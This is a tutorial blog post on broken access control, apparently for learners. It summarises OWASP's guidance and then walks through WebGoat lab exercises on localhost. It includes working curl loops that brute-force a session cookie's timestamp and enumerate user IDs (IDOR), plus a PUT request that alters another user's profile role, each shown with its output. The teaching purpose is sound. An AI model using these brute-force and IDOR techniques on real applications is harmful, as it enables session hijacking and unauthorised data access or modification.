Broken Access Control
In this post, we will understand what a broken access control looks like and why it is #1 in OWASP Top Ten.
Introduction
Source: owasp.org
Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of all data or performing a business function outside the user’s limits. Common access control vulnerabilities include:
- Violation of the principle of least privilege or deny by default, where access should only be granted for particular capabilities, roles, or users, but is available to anyone.
- Bypassing access control checks by modifying the URL (parameter tampering or force browsing), internal application state, or the HTML page, or by using an attack tool modifying API requests.
- Permitting viewing or editing someone else’s account, by providing its unique identifier (insecure direct object references)
- Accessing API with missing access controls for POST, PUT and DELETE.
- Elevation of privilege. Acting as a user without being logged in or acting as an admin when logged in as a user.
- Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT) access control token, or a cookie or hidden field manipulated to elevate privileges or abusing JWT invalidation.
- CORS misconfiguration allows API access from unauthorized/untrusted origins.
- Force browsing to authenticated pages as an unauthenticated user or to privileged pages as a standard user.
How To Prevent
Access control is only effective in trusted server-side code or server-less API, where the attacker cannot modify the access control check or metadata.
- Except for public resources, deny by default.
- Implement access control mechanisms once and re-use them throughout the application, including minimizing Cross-Origin Resource Sharing (CORS) usage.
- Model access controls should enforce record ownership rather than accepting that the user can create, read, update, or delete any record.
- Unique application business limit requirements should be enforced by domain models.
- Disable web server directory listing and ensure file metadata (e.g. .git) and backup files are not present within web roots.
- Log access control failures, alert admins when appropriate (e.g. repeated failures).
- Rate limit API and controller access to minimize the harm from automated attack tooling.
- Stateful session identifiers should be invalidated on the server after logout. Stateless JWT tokens should rather be short-lived so that the window of opportunity for an attacker is minimized. For longer lived JWTs it’s highly recommended to follow the OAuth standards to revoke access.
⚠️ You Have Been Warned
This program is for educational purposes only. If you attempt these techniques without authorization, you are very likely to get caught. If you are caught engaging in unauthorized hacking, most companies will fire you. Claiming that you were doing security research will not work as that is the first thing that all hackers claim.
Let’s Understand With An Example
Hijack A Session
- Launch WebGoat.
- Navigate to ‘Hijack a session’ under ‘(A1) Broken Access Control’.
- Based on primary investigations (and hints) we understand that the cookie ‘hijack_cookie’ stores the session details.
- It increments by 1 at each session request but jumps by 2 when someone gets a successful login. The second half of the cookie is the system epoch (time value).
# hijack_cookie values
5436167088962474960-1724226705113
5436167088962474961-????????????? #Successful Login
5436167088962474962-1724226707962
- So, we brute force the login with a small shell script (it’s not a neat solution but it works). Any programming language can be used here. We loop 2849 times to get a successful session cookie ‘5436167088962474961-1724226705113’.
# loop 2849 times
(
for timestamp in $(seq 1724226705113 1724226707962);
do
curl -v -X POST "http://localhost:8080/WebGoat/HijackSession/login?username=devendra&password=webgoat" -H "Cookie: JSESSIONID=S9COpNNp1Xd1YkcPs3EMGE_sTMLjyoHya381eecX; hijack_cookie=5436167088962474961-$timestamp"
done
) |& tee LOG_FILE
- This is what we find in the logs we generated with the script.
* Host localhost:8080 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying [::1]:8080...
* connect to ::1 port 8080 from ::1 port 53668 failed: Connection refused
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080
{ [203 bytes data]
100 203 0 203 0 0 6798 0 --:--:-- --:--:-- --:--:-- 7000
* Connection #0 to host localhost left intact
{
"lessonCompleted" : true,
"feedback" : "Congratulations. You have successfully completed the assignment.",
"output" : null,
"assignment" : "HijackSessionAssignment",
"attemptWasMade" : true
}
Insecure Direct Object References (IDOR)
- Launch WebGoat.
- Navigate to ‘Insecure Direct Object References’ under ‘(A1) Broken Access Control’.
- We could view and edit someone else profile with an IDOR attack.
- In this example, we logged in with userId 2342384 and viewed the profile of userId 2342388.
- We decided to loop 100 times and increment the userId to find another valid userId.
# loop 100 times
(
for userId in $(seq 2342384 2342484);
do
curl -i -v GET "http://localhost:8080/WebGoat/IDOR/profile/$userId?username=devendra&password=webgoat" -H "Cookie: JSESSIONID=S9COpNNp1Xd1YkcPs3EMGE_sTMLjyoHya381eecX"
done
) |& tee LOG_FILE
- We were lucky and found the profile of ‘Buffalo Bill’. Assume he is an administrator or CEO or someone of great value to the organization.
curl: (6) Could not resolve host: GET
* Host localhost:8080 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying [::1]:8080...
* connect to ::1 port 8080 from ::1 port 55092 failed: Connection refused
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080
{ [245 bytes data]
100 245 0 245 0 0 2540 0 --:--:-- --:--:-- --:--:-- 2552
* Connection #1 to host localhost left intact
HTTP/1.1 200 OK
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/json
Date: Wed, 21 Aug 2024 07:38:28 GMT
{
"lessonCompleted" : true,
"feedback" : "Well done, you found someone else's profile",
"output" : "{role=3, color=brown, size=large, name=Buffalo Bill, userId=2342388}",
"assignment" : "IDORViewOtherProfile",
"attemptWasMade" : true
} % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Could not resolve host: GET
* Closing connection
- We did not stop there and changed the profile details. It could be used for defamation, impersonation or privilege escalation.
curl -v -X PUT "http://localhost:8080/WebGoat/IDOR/profile/2342388?username=devendra&password=webgoat" -H "Cookie: JSESSIONID=S9COpNNp1Xd1YkcPs3EMGE_sTMLjyoHya381eecX" -H "Content-Type: application/json" -d '{"role":1, "color":"red", "size":"large", "name":"Buffalo Bill", "userId":2342388}'
* Host localhost:8080 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:8080...
* connect to ::1 port 8080 from ::1 port 39044 failed: Connection refused
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080
{
"lessonCompleted" : true,
"feedback" : "Well done, you have modified someone else's profile (as displayed below)",
"output" : "{role=1, color=red, size=large, name=Buffalo Bill, userId=2342388}",
"assignment" : "IDOREditOtherProfile",
"attemptWasMade" : true
* Connection #0 to host localhost left intact
Take Away(s)
- It’s not easy to break the access controls but the attackers are persistent. They can take extreme actions as brute force. Most modern Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) can stop these kinds of attacks.
- Multi-Factor Authentication (MFA) can reduce the impact of these vulnerabilities.